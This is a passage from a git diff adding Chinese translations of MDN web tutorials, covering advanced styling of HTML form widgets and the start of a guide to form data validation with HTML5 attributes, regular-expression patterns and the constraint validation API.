+<p>最后一件(但是很重要的)事情:当用户使用键盘从一个表单小部件导航到另一个表单小部件时,每个小部件都应该被显式聚焦。因为我们隐藏了初始的复选框,我们必须自己实现这个特性,让用户知道定制复选框在表单中的位置,下列的CSS实现了它们聚焦。</p> + +<pre class="brush: css">:root input[type=checkbox]:focus + label:before { + outline: 1px dotted black; +}</pre> + +<p>你可以在线查看结果:</p> + +<p>{{EmbedLiveSample("A_more_complex_example", 250, 130)}}</p> + +<h3 id="Dealing_with_the_select_nightmare">Dealing with the select nightmare</h3> + +<p>{{HTMLElement("select")}} 元素被认为是一个 "丑陋的" 组件,因为不可能保证它在跨平台时样式化的一致性。然而,有些事情是可能的。废话少说,让我们来看一个例子:</p> + +<pre class="brush: html"><select> + <option>Cherry</option> + <option>Banana</option> + <option>Strawberry</option> +</select></pre> + +<pre class="brush: css">select { + width : 80px; + padding : 10px; +} + +option { + padding : 5px; + color : red; +}</pre> + +<p>下面的表格显示了在两种情况下不同浏览器的处理方式。头两列就是上面的例子。后面两列使用了其他的定制CSS,可以对小部件的外观进行更多的控制:</p> + +<pre class="brush: css">select, option { + -webkit-appearance : none; /* To gain control over the appearance on WebKit/Chromium */ + -moz-appearance : none; /* To gain control over the appearance on Gecko */ + + /* To gain control over the appearance on and Trident (IE) + Note that it also works on Gecko and has partial effects on WebKit */ + background : none; +}</pre> + +<table> + <thead> + <tr> + <th colspan="1" rowspan="2" scope="col">Browser</th> + <th colspan="2" scope="col">Regular rendering</th> + <th colspan="2" scope="col">Tweaked rendering</th> + </tr> + <tr> + <th scope="col">closed</th> + <th scope="col">open</th> + <th scope="col">closed</th> + <th scope="col">open</th> + </tr> + </thead> + <tbody> + <tr> + <td>Firefox 57 (Mac OSX)</td> + <td><img alt="" src="https://mdn.mozillademos.org/files/15672/firefox-mac-select-1-closed.png"></td> + <td><img alt="" src="https://mdn.mozillademos.org/files/15673/firefox-mac-select-1-open.png"></td> + <td><img alt="" src="https://mdn.mozillademos.org/files/15674/firefox-mac-select-2-closed.png"></td> + <td><img alt="" src="https://mdn.mozillademos.org/files/15675/firefox-mac-select-2-open.png"></td> + </tr> + <tr> + <td>Firefox 57 (Windows 10)</td> + <td><img alt="" src="https://mdn.mozillademos.org/files/15692/firefox-windows-select-1-closed.png"></td> + <td><img alt="" src="https://mdn.mozillademos.org/files/15693/firefox-windows-select-1-open.png"></td> + <td><img alt="" src="https://mdn.mozillademos.org/files/15694/firefox-windows-select-2-closed.png"></td> + <td><img alt="" src="https://mdn.mozillademos.org/files/15695/firefox-windows-select-2-open.png"></td> + </tr> + <tr> + <td>Chrome 63 (Mac OSX)</td> + <td><img alt="" src="https://mdn.mozillademos.org/files/15677/chrome-mac-select-1-closed.png"></td> + <td><img alt="" src="https://mdn.mozillademos.org/files/15678/chrome-mac-select-1-open.png"></td> + <td><img alt="" src="https://mdn.mozillademos.org/files/15684/chrome-windows-select-2-closed.png"></td> + <td><img alt="" src="https://mdn.mozillademos.org/files/15680/chrome-mac-select-2-open.png"></td> + </tr> + <tr> + <td>Chrome 63 (Windows 10)</td> + <td><img alt="" src="https://mdn.mozillademos.org/files/15682/chrome-windows-select-1-closed.png"></td> + <td><img alt="" src="https://mdn.mozillademos.org/files/15683/chrome-windows-select-1-open.png"></td> + <td><img alt="" src="https://mdn.mozillademos.org/files/15684/chrome-windows-select-2-closed.png"></td> + <td><img alt="" src="https://mdn.mozillademos.org/files/15685/chrome-windows-select-2-open.png"></td> + </tr> + <tr> + <td>Opera 49 (Mac OSX)</td> + <td><img alt="" src="https://mdn.mozillademos.org/files/15702/opera-mac-select-1-closed.png"></td> + <td><img alt="" src="https://mdn.mozillademos.org/files/15703/opera-mac-select-1-open.png"></td> + <td><img alt="" src="https://mdn.mozillademos.org/files/15704/opera-mac-select-2-closed.png"></td> + <td><img alt="" src="https://mdn.mozillademos.org/files/15705/opera-mac-select-2-open.png"></td> + </tr> + <tr> + <td>IE11 (Windows 10)</td> + <td><img alt="" src="https://mdn.mozillademos.org/files/15697/ie11-select-1-closed.png"></td> + <td><img alt="" src="https://mdn.mozillademos.org/files/15698/ie11-select-1-open.png"></td> + <td><img alt="" src="https://mdn.mozillademos.org/files/15699/ie11-select-2-closed.png"></td> + <td><img alt="" src="https://mdn.mozillademos.org/files/15700/ie11-select-2-open.png"></td> + </tr> + <tr> + <td>Edge 16 (Windows 10)</td> + <td><img alt="" src="https://mdn.mozillademos.org/files/15687/edge-select-1-closed.png"></td> + <td><img alt="" src="https://mdn.mozillademos.org/files/15688/edge-select-1-open.png"></td> + <td><img alt="" src="https://mdn.mozillademos.org/files/15689/edge-select-2-closed.png"></td> + <td><img alt="" src="https://mdn.mozillademos.org/files/15690/edge-select-2-open.png"></td> + </tr> + </tbody> +</table> + +<p>如你所见,计时使用了<code>-*-appearance</code>属性的帮助,任然有一些遗留的问题:</p> + +<ul> + <li>不同的操作系统和浏览器对属性{{cssxref("padding")}} 属性的处理各不相同。</li> + <li>Internet Explorer旧版本不允许平滑样式</li> + <li>Firefox没有实现下拉箭头的样式。</li> + <li>如果要在下拉列表内实现{{HTMLElement("option")}}元素样式,Chrome和Opera浏览器的表现在不同的系统中是不一样的。</li> +</ul> + +<p>在我们的例子中,只使用了三个CSS属性,在考虑使用更多CSS属性时,可以想象是很混乱的。正如我们看到的,CSS始终不适合用来修改这些小部件的外观,但是仍然可以用来稍微做一些事情。如果愿意的话,可以演示一下在不同操作系统和浏览器之间的区别。</p> + +<p>我们也可以帮助了解在下一章节中哪个属性更合适:<a href="/en-US/docs/Properties_compatibility_table_for_forms_widgets" title="/en-US/docs/Properties_compatibility_table_for_forms_widgets">Properties compatibility table for form widgets</a></p> + +<h2 id="走向更完美表单之路:有用的库和polyfills(腻子)">走向更完美表单之路:有用的库和polyfills(腻子)</h2> + +<p>虽然对于复选框和单选按钮而言,CSS的表示方式足够丰富,但是对更高级的小部件来说差距仍然很大。即使可以用{{HTMLElement("select")}}元素作一些事情,但是对file小部件的样式完全没用。对于日期选择器也同样如此。</p> + +<p>要实现对表单小部件的完全控制,你别无选择,只能选择依靠JavaScript。在文章<a href="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets" title="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets">How to build custom form widgets</a>中,我们将看到具体的做法,其中还有一些非常有用的库:</p> + +<ul> + <li><a href="http://sprawsm.com/uni-form/" rel="external" title="http://sprawsm.com/uni-form/">Uni-form</a>是一个对采用CSS样式的表单标记实现标准化的框架,在使用jQuery时,还提供一些附加特性,但这是可选的。</li> + <li><a href="http://formalize.me/" rel="external" title="http://formalize.me/">Formalize</a>是对公共JavaScript框架的扩展(如jQuery, Dojo, YUI等),有助于规范和定制表单。</li> + <li><a href="http://www.emblematiq.com/lab/niceforms/" rel="external" title="http://www.emblematiq.com/lab/niceforms/">Niceforms</a>是一个独立的JavaScript方法,能提供web表单的完整定制。</li> +</ul> + +<p>下面的库不止应用于表单,他们在处理HTML表单时是非常有趣的:</p> + +<ul> + <li><a href="http://jqueryui.com/" rel="external" title="http://jqueryui.com/">jQuery UI</a>做了一些有趣的改进,可以定制象日期选择器(特别关注可访问性)这样的小部件。</li> + <li><a href="http://twitter.github.com/bootstrap/base-css.html#forms" rel="external" title="http://twitter.github.com/bootstrap/base-css.html#forms">Twitter Bootstrap</a>在规范表单时是非常有用的。</li> + <li><a href="http://afarkas.github.com/webshim/demos/demos/webforms.html" rel="external" title="http://afarkas.github.com/webshim/demos/demos/webforms.html">WebShim</a>是一个大型工具,可以用来处理浏览器对HTML5的支持。对web表单部分确实有用。</li> +</ul> + +<p>记住,使用CSS和JavaScript是有副作用的。所以在选择使用那些库时,应该在脚本失败的情况下能回滚样式表。脚本失败的原因很多,尤其在手机应用中,因此你需要尽可能好的设计你的Web站点或应用。</p> + +<h2 id="相关链接">相关链接</h2> + +<p>虽然HTML表单使用CSS仍有一些黑洞,但通常也有方法绕过它们。即使没有清楚的,通用的解决方案,但新式的浏览器也提供了新的可能性。目前最好的方法是更多的学习不同浏览器支持CSS的方式,并应用于HTML表单小部件。</p> + +<p>在本指南的下一章节中,我们将探讨不同的HTML表单小部件怎样很好的支持更重要的CSS属性:<a href="/en-US/docs/Properties_compatibility_table_for_forms_widgets" title="/en-US/docs/Properties_compatibility_table_for_forms_widgets">Properties compatibility table for form widgets</a>.</p> + +<h2 id="相关链接_2">相关链接</h2> + +<ul> + <li><a href="http://diveintohtml5.info/forms.html" rel="external" title="http://diveintohtml5.info/forms.html">Dive into HTML5: Forms</a></li> + <li><a href="http://www.smashingmagazine.com/2011/06/27/useful-ideas-and-guidelines-for-good-web-form-design/" rel="external" title="http://www.smashingmagazine.com/2011/06/27/useful-ideas-and-guidelines-for-good-web-form-design/">Useful ideas and guidelines for good web form design</a></li> +</ul> + +<p>{{PreviousMenuNext("Learn/HTML/Forms/Styling_HTML_forms", "Learn/HTML/Forms/Property_compatibility_table_for_form_widgets", "Learn/HTML/Forms")}}</p> + +<h2 id="在本单元中">在本单元中</h2> + +<ul> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Forms/Your_first_HTML_form">Your first HTML form</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Forms/How_to_structure_an_HTML_form">How to structure an HTML form</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Forms/The_native_form_widgets">The native form widgets</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Forms/Sending_and_retrieving_form_data">Sending form data</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Forms/Form_validation">Form data validation</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Forms/How_to_build_custom_form_widgets">How to build custom form widgets</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Forms/Sending_forms_through_JavaScript">Sending forms through JavaScript</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Forms/HTML_forms_in_legacy_browsers">HTML forms in legacy browsers</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Forms/Styling_HTML_forms">Styling HTML forms</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Forms/Advanced_styling_for_HTML_forms">Advanced styling for HTML forms</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Forms/Property_compatibility_table_for_form_widgets">Property compatibility table for form widgets</a></li> +</ul> + +<p> + <audio style="display: none;"></audio> +</p> diff --git a/files/zh-cn/learn/html/forms/data_form_validation/index.html b/files/zh-cn/learn/html/forms/data_form_validation/index.html new file mode 100644 index 0000000000..62758a26e6 --- /dev/null +++ b/files/zh-cn/learn/html/forms/data_form_validation/index.html @@ -0,0 +1,874 @@ +--- +title: 表单数据校验 +slug: Learn/HTML/Forms/Data_form_validation +tags: + - HTML +translation_of: Learn/Forms/Form_validation +--- +<p>{{LearnSidebar}}{{PreviousMenuNext("Learn/HTML/Forms/Sending_and_retrieving_form_data", "Learn/HTML/Forms/How_to_build_custom_form_widgets", "Learn/HTML/Forms")}}</p> + +<p class="summary">表单校验帮助我们确保用户以正确格式填写表单数据,确保提交的数据能使我们的应用程序正常工作。本文将告诉您需要了解的有关表单校验的内容。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">预备知识:</th> + <td>计算机基础能力,对 <a href="/en-US/docs/Learn/HTML">HTML</a>、<a href="/en-US/docs/Learn/CSS">CSS</a> 和 <a href="/en-US/docs/Learn/JavaScript">JavaScript</a> 有一定的理解。</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>理解表单校验是什么,为什么它很重要,以及如何实现它。</td> + </tr> + </tbody> +</table> + +<h2 id="什么是表单数据校验?">什么是表单数据校验?</h2> + +<p>访问任何一个带注册表单的网站,你都会发现,当你提交了没有输入符合预期格式的信息的表单时,注册页面都会给你一个反馈,这些信息可能看起来像下面这样的:</p> + +<ul> + <li>“该字段是必填的”(该字段不能留空)</li> + <li>“请输入你的电话号码,它的格式是:xxx-xxxx”(它要求你输入的数据格式为三个数字接一个横杠,然后再接着是四个数字)</li> + <li>“请输入一个合法的邮箱地址”(如果你输入的数据不符合“somebody@example.com“的邮箱格式)</li> + <li>“你的密码长度应该是8至30位的,并且至少应该包含一个大写字母、一个符号以及一个数字”</li> +</ul> + +<p>这就是<strong>表单校验</strong> —— 当你向 Web 应用输入数据时,应用会验证你输入的数据是否是正确的。如果验证通过,应用允许提交这些数据到服务器并储存到数据库中(通常情况下),如果验证未通过,则 Web 应用会提示你有错误的数据,并且一般都会明确的告诉你错误发生在哪里。表单校验可以通过许多不同的方式实现。</p> + +<div class="note"> +<p><strong>译者注</strong>:下面一段在英文原文中已经删除</p> +</div> + +<p>(事实上,没有人愿意填写表单 —— 很多证据表明,用户对填写表单这件事情都感到很烦恼,如果他们在填写表单的过程中遇到一些自己无法理解的问题,通常都会导致他们直接离开你的 Web 应用,简而言之,<a href="https://www.slideshare.net/jwegesin/forms-suck/">表单是一个很烦人的东西</a>。)</p> + +<p>我们希望把填写表单变的越简单越好。那么,为什么我们还坚持进行表单的数据校验呢?这有三个最主要的原因:</p> + +<ul> + <li><strong>我们希望以正确的格式获取到正确的数据</strong> —— 如果我们的用户数据以不正确的格式存储,或者他们没有输入正确的信息/完全省略信息,我们的应用程序将无法正常运行。</li> + <li><strong>我们希望保护我们的用户</strong> ——强制用户输入安全的密码,有利于保护他们的账户信息。</li> + <li><strong>我们希望保护我们自己</strong> —— 恶意用户有很多通过滥用应用中缺乏保护的表单破坏应用的方法(具体请参见<a href="/zh-CN/docs/learn/Server-side/First_steps/Website_security">网站安全</a>)。</li> +</ul> + +<div class="blockIndicator warning"> +<p>警告: 永远不要相信从客户端传递到服务器的数据。 即使您的表单正确验证并防止输入格式错误,恶意用户仍然可以更改网络请求。</p> +</div> + +<h3 id="不同类型的表单数据校验">不同类型的表单数据校验</h3> + +<p>在 Web 中,你可能会遇见各种不同的表单校验:</p> + +<ul> + <li><strong>客户端校验</strong>发生在浏览器端,表单数据被提交到服务器之前,这种方式相较于服务器端校验来说,用户体验更好,它能实时的反馈用户的输入校验结果,这种类型的校验可以进一步细分成下面这些方式: + + <ul> + <li><strong>JavaScript</strong> 校验,这是可以完全自定义的实现方式;</li> + <li>HTML5 <strong>内置校验</strong>,这不需要 JavaScript ,而且性能更好,但是不能像JavaScript那样可自定义。</li> + </ul> + </li> + <li><strong>服务器端校验</strong>则是发生在浏览器提交数据并被服务器端程序接收之后 —— 通常服务器端校验都是发生在将数据写入数据库之前,如果数据没通过校验,则会直接从服务器端返回错误消息,并且告诉浏览器端发生错误的具体位置和原因,服务器端校验不像客户端校验那样有好的用户体验,因为它直到整个表单都提交后才能返回错误信息。但是服务器端校验是你的应用对抗错误/恶意数据的最后防线,在这之后,数据将被持久化至数据库。当今<a href="/zh-CN/docs/learn/Server-side/First_steps/Web_frameworks">所有的服务端框架</a>都提供了数据<strong>校验</strong>与<strong>清洁</strong>功能(让数据更安全)。</li> +</ul> + +<p>在真实的项目开发过程中,开发者一般都倾向于使用客户端校验与服务器端校验的组合校验方式以更好的保证数据的正确性与安全性。</p> + +<h2 id="使用内置表单数据校验">使用内置表单数据校验</h2> + +<p><a href="/en-US/docs/HTML/HTML5" title="/en-US/docs/HTML/HTML5">HTML5</a> 一个特别有用的新功能就是,可以在不写一行脚本代码的情况下,即对用户的输入进行数据校验,这都是通过表单元素的<a href="/zh-CN/docs/Web/Guide/HTML/HTML5/Constraint_validation">校验属性</a>实现的,这些属性可以让你定义一些规则,用于限定用户的输入,比如某个输入框是否必须输入,或者某个输入框的字符串的最小最大长度限制,或者某个输入框必须输入一个数字、邮箱地址等;还有数据必须匹配的模式。如果表单中输入的数据都符合这些限定规则,那么表示这个表单校验通过,否则则认为校验未通过。</p> + +<p>当一个元素校验通过时:</p> + +<ul> + <li>该元素将可以通过 CSS 伪类 {{cssxref(":valid")}} 进行特殊的样式化;</li> + <li>如果用户尝试提交表单,如果没有其它的控制来阻止该操作(比如JavaScript即可阻止提交),那么该表单的数据会被提交。</li> +</ul> + +<p>如果一个元素未校验通过:</p> + +<ul> + <li>该元素将可以通过 CSS 伪类 {{cssxref(":invalid")}} 进行特殊的样式化;</li> + <li>如果用户尝试提交表单,浏览器会展示出错误消息,并停止表单的提交。 </li> +</ul> + +<h3 id="input_元素的校验约束_—_starting_simple">input 元素的校验约束 — starting simple</h3> + +<p>在这一节,我们将会看到一些用于{{HTMLElement("input")}}元素校验的HTML5的特性。</p> + +<p>让我们用一个简单的例子开始 — 一个可以让你从香蕉或樱桃中选择你最喜欢的水果的input。 这个包含了一个简单的文本{{HTMLElement("input")}} 和一个与之匹配的label,还有一个 submit {{htmlelement("button")}}。你可以在GitHub <a href="https://github.com/mdn/learning-area/blob/master/html/forms/form-validation/fruit-start.html">fruit-start.html</a>找到源码,在线例子如下:</p> + +<div class="hidden"> +<h6 id="Hidden_code">Hidden code</h6> + +<pre class="brush: html"><form> + <label for="choose">Would you prefer a banana or cherry?</label> + <input id="choose" name="i_like"> + <button>Submit</button> +</form></pre> + +<pre class="brush: css">input:invalid { + border: 2px dashed red; +} + +input:valid { + border: 2px solid black; +}</pre> +</div> + +<p>{{EmbedLiveSample("Hidden_code", "100%", 50)}}</p> + +<p>开始之前,先拷贝一份 <code>fruit-start.html</code> 放在你硬盘上的新目录里。</p> + +<h3 id="required_属性">required 属性</h3> + +<p>最简单的HTML5校验功能是 {{htmlattrxref("required", "input")}}属性 — 如果要使输入成为必需的,则可以使用此属性标记元素。 当设置此属性时,如果输入为空,该表单将不会提交(并将显示错误消息),输入也将被视为无效。</p> + +<p>添加一个 <code>required</code> 属性到你的 input 元素, 如下所示:</p> + +<pre class="brush: html"><form> + <label for="choose">Would you prefer a banana or cherry?</label> + <input id="choose" name="i_like" required> + <button>Submit</button> +</form></pre> + +<p>同时注意在示例文件中包含的 CSS :</p> + +<pre class="brush: css">input:invalid { + border: 2px dashed red; +} + +input:valid { + border: 2px solid black; +}</pre> + +<p>以上样式效果为:在校验失败时 输入框会有一个亮红色的虚线边框, 在校验通过时会有一个更微妙的黑色边框。在以下示例中尝试新的行为:</p> + +<p>{{EmbedLiveSample("required_属性", "100%", 50)}}</p> + +<h3 id="使用正则表达式校验">使用正则表达式校验</h3> + +<p>另一个常用的校验功能是 {{htmlattrxref("pattern","input")}} 属性, 以 <a href="/zh-CN/docs/Web/JavaScript/Guide/Regular_Expressions" title="/en-US/docs/JavaScript/Guide/Regular_Expressions">Regular Expression</a> 作为 value 值. 正则表达式 (regex) 是一个可以用来匹配文本字符串中字符的组合的模式,所以它们是理想的表单校验器,也可以支持 JavaScript 中许多其它的用途。</p> + +<p>正则表达式相当复杂,我们不打算在本文中详尽地教你。</p> + +<p>下面是一些例子,让你对它们的工作原理有个基本的了解:</p> + +<ul> + <li><code>a</code> — 匹配一个字符<code>a</code>(不能匹配 <code>b</code>, <code>aa</code>等等.)</li> + <li><code>abc</code> — 匹配 <code>a</code>, 其次 <code>b</code>, 最后 <code>c</code>.</li> + <li><code>a*</code> — 匹配0个或者多个字符 <code>a</code> (<code>+</code> 代表至少匹配一个或者多个).</li> + <li><code>[^a]</code> — 匹配一个字符,但它<strong>不能</strong>是<code>a</code>.</li> + <li><code>a|b</code> — 匹配一个字符 <code>a</code> 或者 <code>b</code>.</li> + <li><code>[abc]</code> — 匹配一个字符,它可以是<code>a</code>,<code>b</code>或<code>c</code>.</li> + <li><code>[^abc]</code> — 匹配一个字符,但它<strong>不可以</strong>是<code>a</code>,<code>b</code>或<code>c</code>.</li> + <li><code>[a-z]</code> — 匹配字符范围 <code>a-z</code>且全部小写 (你可以使用 <code>[A-Za-z]</code> 涵盖大小写, 或 <code>[A-Z]</code> 来限制必须大写).</li> + <li><code>a.c</code> — 匹配字符 <code>a</code>,中间匹配任意一个字符,最后匹配字符<code> c</code>.</li> + <li><code>a{5}</code> — 匹配字符 <code>a</code>五次.</li> + <li><code>a{5,7}</code> — 匹配字符 <code>a</code>五到七次,不能多或者少.</li> +</ul> + +<p>你也可以在这些表达式中使用数字和其他字符, 例如:</p> + +<ul> + <li><code>[ -]</code> — 匹配一个空格或者虚线.</li> + <li><code>[0-9]</code> — 匹配数字范围0~9.</li> +</ul> + +<p>你可以任意地组合这些,你可以任意指定不同的部分:</p> + +<ul> + <li><code>[Ll].*k</code> — 匹配一个大写<code>L</code>或者小写的<code>l</code>, 之后匹配0个或多个任意类型的字符, 最后匹配一个小写字母 k.</li> + <li><code>[A-Z][A-Za-z' -]+</code> — 一个大写字母后面跟着匹配一个及以上的大小写字母或者中划线或者撇号或者空格. 这个可以用于校验英语会话中城市或城镇名, 但这需要首字母以大写开头,不包括其他字符,例如来自英国的Manchester, Ashton-under-lyne, 以及Bishop's Stortford等.</li> + <li><code>[0-9]{3}[ -][0-9]{3}[ -][0-9]{4}</code> — 简单的匹配一个美国内的电话号码 — 三个数字 0<code>-</code>9, 后面跟着一个空格或者中划线, 之后匹配三个数字 0<code>-</code>9, 再跟着一个空格或者中划线, 最后跟着四个数字 0<code>-</code>9. 但实际情况可能更加复杂,因为有些人会给号码加上括号什么的,这里的表达式只是用来做一个简单的演示.</li> +</ul> + +<p>不管怎么说, 让我们来实现这些例子 — 更新你的html文档表单增加一个 <code>pattern</code> 属性, 如下:</p> + +<pre class="brush: html"><form> + <label for="choose">Would you prefer a banana or a cherry?</label> + <input id="choose" name="i_like" required pattern="banana|cherry"> + <button>Submit</button> +</form></pre> + +<div class="hidden"> +<pre class="brush: css">input:invalid { + border: 2px dashed red; +} + +input:valid { + border: 2px solid black; +}</pre> +</div> + +<p>{{EmbedLiveSample("使用正则表达式校验", "100%", 50)}}</p> + +<p>这个例子中, 该 {{HTMLElement("input")}} 元素接受两个值中的一个: 字符串 "banana" 或者字符串"cherry".</p> + +<p>在这个基础上, 尝试把<code>pattern</code> 属性内部的表达式改变成上面的几个例子, 然后看看这些表达式如何影响您可以输入的值以使输入值有效. 尝试写一些你自己设计的,看看它如何工作。尽量让他们与水果有关这样你的例子才会有意义.</p> + +<div class="note"> +<p><strong>注意:</strong> 一些 {{HTMLElement("input")}} 元素类型不需要{{htmlattrxref("pattern","input")}} 属性进行校验. 指定特定 <code>email</code> 类型 就会使用匹配电子邮件格式的正则表达式来校验(如果有 {{htmlattrxref("multiple","input")}} 属性请用逗号来分割多个邮箱). 进一步来说, 字段 <code>url</code> 类型则会自动校验输入的是否为一个合法的链接.</p> +</div> + +<div class="note"> +<p><strong>注意</strong>: 该 {{HTMLElement("textarea")}} 元素不支持{{htmlattrxref("pattern","input")}} 属性.</p> +</div> + +<h3 id="限制输入的长度">限制输入的长度</h3> + +<p>所有文本框 ({{HTMLElement("input")}} 或 {{HTMLElement("textarea")}}) 都可以使用{{htmlattrxref("minlength","input")}} 和 {{htmlattrxref("maxlength","input")}} 属性来限制长度. 如果输入的字段长度小于 {{htmlattrxref("minlength","input")}} 的值或大于 {{htmlattrxref("maxlength","input")}} 值则无效. 浏览器通常不会让用户在文本字段中键入比预期更长的值,不过更精细的设置总归是更好的。</p> + +<p>在数字条目中 (i.e. <code><input type="number"></code>), 该 {{htmlattrxref("min","input")}} 和 {{htmlattrxref("max","input")}} 属性同样提供校验约束.如果字段的值小于{{htmlattrxref("min","input")}} 属性的值或大于 {{htmlattrxref("max","input")}} 属性的值,该字段则无效.</p> + +<p>让我来看看另外一个例子. 创建一个 <a href="https://github.com/mdn/learning-area/blob/master/html/forms/form-validation/fruit-start.html">fruit-start.html</a> 文件副本.</p> + +<p>现在删除 <code><body></code> 元素中的内容, 替换成下面的代码:</p> + +<pre class="brush: html"><form> + <div> + <label for="choose">Would you prefer a banana or a cherry?</label> + <input id="choose" name="i_like" required minlength="6" maxlength="6"> + </div> + <div> + <label for="number">How many would you like?</label> + <input type="number" id="number" name="amount" value="1" min="1" max="10"> + </div> + <div> + <button>Submit</button> + </div> +</form></pre> + +<ul> + <li>这里我们看到 <code>text</code> 条目的属性<code>minlength</code> 和 <code>maxlength</code> 都为6 — 这 banana 和 cherry的长度都为6. 输入少于这个长度的字符显示无效, 大多浏览器不能输入超过该限制的长度的字符.</li> + <li>我们同时也能让 <code>number</code> 条目数值限制在 <code>min</code> 为 1 和 一个 <code>max</code> 为 10 中 — 输入超出范围则显示无效, 并且您将无法使用递增/递减箭头将该值改变到此范围之外。</li> +</ul> + +<div class="hidden"> +<pre>input:invalid { + border: 2px dashed red; +} + +input:valid { + border: 2px solid black; +} + +div { + margin-bottom: 10px; +}</pre> +</div> + +<p>这里是运行的例子:</p> + +<p>{{EmbedLiveSample("限制输入的长度", "100%", 70)}}</p> + +<div class="note"> +<p><strong>注意</strong>: <code><input type="number"></code> (或者其他类型, 像 <code>range</code>) 也可以获取到一个{{htmlattrxref("step", "input")}} 属性, 指定了值在增减过程固定改变的值 (如向上增加和向下减少的按钮).</p> +</div> + +<h3 id="完整的例子">完整的例子</h3> + +<p>这里就是一个完整的展示 HTML 中使用校验属性的例子:</p> + +<pre class="brush: html"><form> + <p> + <fieldset> + <legend>Title<abbr title="This field is mandatory">*</abbr></legend> + <input type="radio" required name="title" id="r1" value="Mr"><label for="r1">Mr.</label> + <input type="radio" required name="title" id="r2" value="Ms"><label for="r2">Ms.</label> + </fieldset> + </p> + <p> + <label for="n1">How old are you?</label> + <!-- 这里的pattern属性可以用作不支持number类input浏览器的备用方法 + 请注意当与数字输入框一起使用时,支持pattern属性的浏览器会使它沉默失效。 + 它仅仅是在这里用作备用 --> + <input type="number" min="12" max="120" step="1" id="n1" name="age" + pattern="\d+"> + </p> + <p> + <label for="t1">What's your favorite fruit?<abbr title="This field is mandatory">*</abbr></label> + <input type="text" id="t1" name="fruit" list="l1" required + pattern="[Bb]anana|[Cc]herry|[Aa]pple|[Ss]trawberry|[Ll]emon|[Oo]range"> + <datalist id="l1"> + <option>Banana</option> + <option>Cherry</option> + <option>Apple</option> + <option>Strawberry</option> + <option>Lemon</option> + <option>Orange</option> + </datalist> + </p> + <p> + <label for="t2">What's your e-mail?</label> + <input type="email" id="t2" name="email"> + </p> + <p> + <label for="t3">Leave a short message</label> + <textarea id="t3" name="msg" maxlength="140" rows="5"></textarea> + </p> + <p> + <button>Submit</button> + </p> +</form></pre> + +<pre class="brush: css">body { + font: 1em sans-serif; + padding: 0; + margin : 0; +} + +form { + max-width: 200px; + margin: 0; + padding: 0 5px; +} + +p > label { + display: block; +} + +input[type=text], +input[type=email], +input[type=number], +textarea, +fieldset { +/* 需要在基于WebKit的浏览器上对表单元素进行恰当的样式设置 */ + -webkit-appearance: none; + + width : 100%; + border: 1px solid #333; + margin: 0; + + font-family: inherit; + font-size: 90%; + + -moz-box-sizing: border-box; + box-sizing: border-box; +} + +input:invalid { + box-shadow: 0 0 5px 1px red; +} + +input:focus:invalid { + outline: none; +}</pre> + +<p>{{EmbedLiveSample("完整的例子", "100%", 420)}}</p> + +<h3 id="自定义错误信息">自定义错误信息</h3> + +<p>正如我们上面所看到的例子, 每次我们提交无效的表单数据时, 浏览器总会显示错误信息. 但是显示的信息取决于你所使用的浏览器.</p> + +<p>这些自动生成的错误有两个缺点:</p> + +<ul> + <li>没有标准可以让 CSS 来改变他们的界面外观.</li> + <li>这依赖于他们使用的浏览器环境, 意味着你可能在这种语言的页面里得到另一种语言的错误提示.</li> +</ul> + +<table> + <caption>在英文页面上的法语反馈信息版本</caption> + <thead> + <tr> + <th scope="col">浏览器</th> + <th scope="col">渲染</th> + </tr> + </thead> + <tbody> + <tr> + <td>Firefox 17 (Windows 7)</td> + <td><img alt="Example of an error message with Firefox in French on an English page" src="/files/4329/error-firefox-win7.png" style="height: 97px; width: 228px;"></td> + </tr> + <tr> + <td>Chrome 22 (Windows 7)</td> + <td><img alt="Example of an error message with Chrome in French on an English page" src="/files/4327/error-chrome-win7.png" style="height: 96px; width: 261px;"></td> + </tr> + <tr> + <td>Opera 12.10 (Mac OSX)</td> + <td><img alt="Example of an error message with Opera in French on an English page" src="/files/4331/error-opera-macos.png" style="height: 83px; width: 218px;"></td> + </tr> + </tbody> +</table> + +<p>要自定义这些消息的外观和文本, 你必须使用 JavaScript; 不能使用 HTML 和 CSS 来改变.</p> + +<p>HTML5 提供 <a href="http://www.w3.org/TR/html5/forms.html#the-constraint-validation-api" rel="external" title="http://www.w3.org/TR/html5/forms.html#the-constraint-validation-api">constraint validation API</a> 来检测和自定义表单元素的状态. 除此之外,他可以改变错误信息的文本. 让我们快速的看一个例子:</p> + +<pre class="brush: html"><form> + <label for="mail">I would like you to provide me an e-mail</label> + <input type="email" id="mail" name="mail"> + <button>Submit</button> +</form></pre> + +<p>在JavaScript 中, 你调用 <a href="/en-US/docs/HTML/HTML5/Constraint_validation#Constraint_API's_element.setCustomValidity()" title="/en-US/docs/HTML/HTML5/Constraint_validation#Constraint_API's_element.setCustomValidity()"><code>setCustomValidity()</code></a> 方法:</p> + +<pre class="brush: js">var email = document.getElementById("mail"); + +email.addEventListener("input", function (event) { + if (email.validity.typeMismatch) { + email.setCustomValidity("I expect an e-mail, darling!"); + } else { + email.setCustomValidity(""); + } +});</pre> + +<p>{{EmbedLiveSample("自定义错误信息", "100%", 50)}}</p> + +<h2 id="使用_JavaScript校验表单"> 使用 JavaScript校验表单</h2> + +<p>如果你想控制原生错误信息的界面外观,或者你想处理不支持HTML内置表单校验的浏览器,则必须使用 Javascript。</p> + +<h3 id="约束校验的_API">约束校验的 API</h3> + +<p>越来越多的浏览器支持限制校验API,并且这逐渐变得可靠。这些 API 由成组的方法和属性构成,可在特定的表单元素接口上调用:</p> + +<ul> + <li><a 